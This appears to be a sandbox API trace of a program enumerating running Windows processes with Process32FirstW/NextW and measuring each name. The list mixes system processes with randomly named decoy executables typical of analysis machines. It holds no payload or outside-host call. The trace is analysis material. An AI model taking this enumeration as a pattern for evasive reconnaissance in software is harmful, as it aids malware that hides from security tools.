	[0076.051] Process32FirstW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0076.052] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0076.052] lstrlenW (lpString="System") returned 6
	[0076.053] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0076.053] lstrlenW (lpString="smss.exe") returned 8
	[0076.053] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0076.054] lstrlenW (lpString="csrss.exe") returned 9
	[0076.054] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0076.054] lstrlenW (lpString="wininit.exe") returned 11
	[0076.054] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0076.055] lstrlenW (lpString="csrss.exe") returned 9
	[0076.055] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0076.056] lstrlenW (lpString="winlogon.exe") returned 12
	[0076.056] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0076.056] lstrlenW (lpString="services.exe") returned 12
	[0076.057] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0076.057] lstrlenW (lpString="lsass.exe") returned 9
	[0076.057] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.058] lstrlenW (lpString="svchost.exe") returned 11
	[0076.058] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0076.059] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0076.059] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0076.059] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0076.059] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.060] lstrlenW (lpString="svchost.exe") returned 11
	[0076.060] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0076.060] lstrlenW (lpString="dwm.exe") returned 7
	[0076.060] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.061] lstrlenW (lpString="svchost.exe") returned 11
	[0076.061] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.062] lstrlenW (lpString="svchost.exe") returned 11
	[0076.062] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.062] lstrlenW (lpString="svchost.exe") returned 11
	[0076.062] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.063] lstrlenW (lpString="svchost.exe") returned 11
	[0076.063] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.063] lstrlenW (lpString="svchost.exe") returned 11
	[0076.063] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.064] lstrlenW (lpString="svchost.exe") returned 11
	[0076.064] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.064] lstrlenW (lpString="svchost.exe") returned 11
	[0076.064] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.065] lstrlenW (lpString="svchost.exe") returned 11
	[0076.065] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.065] lstrlenW (lpString="svchost.exe") returned 11
	[0076.065] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0076.066] lstrlenW (lpString="spoolsv.exe") returned 11
	[0076.066] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.067] lstrlenW (lpString="svchost.exe") returned 11
	[0076.067] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.067] lstrlenW (lpString="svchost.exe") returned 11
	[0076.067] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0076.068] lstrlenW (lpString="audiodg.exe") returned 11
	[0076.068] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0076.068] lstrlenW (lpString="sihost.exe") returned 10
	[0076.068] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0076.069] lstrlenW (lpString="svchost.exe") returned 11
	[0076.069] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0076.070] lstrlenW (lpString="taskhostw.exe") returned 13
	[0076.070] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0076.070] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0076.070] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0076.071] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0076.071] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0076.071] lstrlenW (lpString="explorer.exe") returned 12
	[0076.071] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0076.072] lstrlenW (lpString="Memory Compression") returned 18
	[0076.072] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0076.073] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0076.073] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0076.074] lstrlenW (lpString="SearchUI.exe") returned 12
	[0076.074] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0076.074] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0076.074] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0076.075] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0076.075] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0076.075] lstrlenW (lpString="taskhostw.exe") returned 13
	[0076.076] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0076.076] lstrlenW (lpString="UsoClient.exe") returned 13
	[0076.076] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0076.077] lstrlenW (lpString="taskhostw.exe") returned 13
	[0076.077] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0076.077] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0076.077] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0076.662] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0076.662] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0076.662] lstrlenW (lpString="msoia.exe") returned 9
	[0076.663] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0076.663] lstrlenW (lpString="msoia.exe") returned 9
	[0076.663] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0076.664] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0076.664] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0076.664] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0076.664] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0076.665] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0076.665] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0076.666] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0076.666] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0076.666] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0076.666] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0076.667] lstrlenW (lpString="legends.exe") returned 11
	[0076.667] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0076.668] lstrlenW (lpString="miniature.exe") returned 13
	[0076.668] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0076.668] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0076.668] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0076.669] lstrlenW (lpString="thorough.exe") returned 12
	[0076.669] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0076.670] lstrlenW (lpString="dllhost.exe") returned 11
	[0076.670] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0076.670] lstrlenW (lpString="interactive.exe") returned 15
	[0076.670] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0076.671] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0076.671] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0076.671] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0076.671] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0076.672] lstrlenW (lpString="eastexamined.exe") returned 16
	[0076.672] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0076.673] lstrlenW (lpString="attacks-according.exe") returned 21
	[0076.673] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0076.673] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0076.673] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0076.674] lstrlenW (lpString="values latin.exe") returned 16
	[0076.674] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0076.675] lstrlenW (lpString="eaufeed.exe") returned 11
	[0076.675] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0076.675] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0076.676] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0076.676] lstrlenW (lpString="burning.exe") returned 11
	[0076.676] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0076.677] lstrlenW (lpString="warned-garage.exe") returned 17
	[0076.677] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0076.678] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0076.678] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0076.678] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0076.678] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0076.679] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0076.679] Process32NextW (in: hSnapshot=0x340, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0076.680] lstrlenW (lpString="proprietary.exe") returned 15
